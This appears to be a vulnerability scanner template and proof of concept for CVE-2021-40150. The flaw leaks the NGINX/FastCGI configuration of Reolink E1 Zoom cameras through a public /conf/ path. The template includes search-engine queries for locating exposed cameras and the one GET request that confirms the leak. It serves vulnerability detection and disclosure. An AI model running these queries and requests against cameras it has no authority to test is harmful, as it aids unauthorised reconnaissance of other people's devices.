Reolink E1 Zoom camera through 3.0.0.716 is susceptible to information disclosure. The web server discloses its configuration via the /conf/ directory that is mapped to a publicly accessible path. An attacker with network-level access to the camera can can download the entire NGINX/FastCGI configurations by querying the /conf/nginx.conf or /conf/fastcgi.conf URI.
PoC代码[已公开]
id: CVE-2021-40150
info:
name: Reolink E1 Zoom Camera <=3.0.0.716 - Information Disclosure
author: For3stCo1d
severity: high
description: |
Reolink E1 Zoom camera through 3.0.0.716 is susceptible to information disclosure. The web server discloses its configuration via the /conf/ directory that is mapped to a publicly accessible path. An attacker with network-level access to the camera can can download the entire NGINX/FastCGI configurations by querying the /conf/nginx.conf or /conf/fastcgi.conf URI.
impact: |
An attacker can exploit this vulnerability to gain access to sensitive information, potentially compromising user privacy and security.
remediation: |
Upgrade the Reolink E1 Zoom Camera to a version higher than 3.0.0.716 to mitigate the information disclosure vulnerability (CVE-2021-40150).
reference:
- https://dl.packetstormsecurity.net/2206-exploits/reolinke1config-disclose.txt
- https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-40150.txt
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40150
- https://nvd.nist.gov/vuln/detail/CVE-2021-40150
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-40150
cwe-id: CWE-552
epss-score: 0.34226
epss-percentile: 0.96855
cpe: cpe:2.3:o:reolink:e1_zoom_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: reolink
product: e1_zoom_firmware
shodan-query:
- http.title:"Reolink"
- http.title:"reolink"
fofa-query: title="reolink"
google-query: intitle:"reolink"
tags: cve2021,cve,reolink,camera,exposure,iot
http:
- method: GET
path:
- "{{BaseURL}}/conf/nginx.conf"
matchers-condition: and
matchers:
- type: word
words:
- "server"
- "listen"
- "fastcgi"
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502204a22d54ad9c6b9b5a45ebcf954af9166bdb88e06808bd65c1554e247d05ae7b2022100a76d219b20a8eb07cae18096d19bb1a1281e6901af5af11885f478921feded99:922c64590222798bb761d5b6d8e72950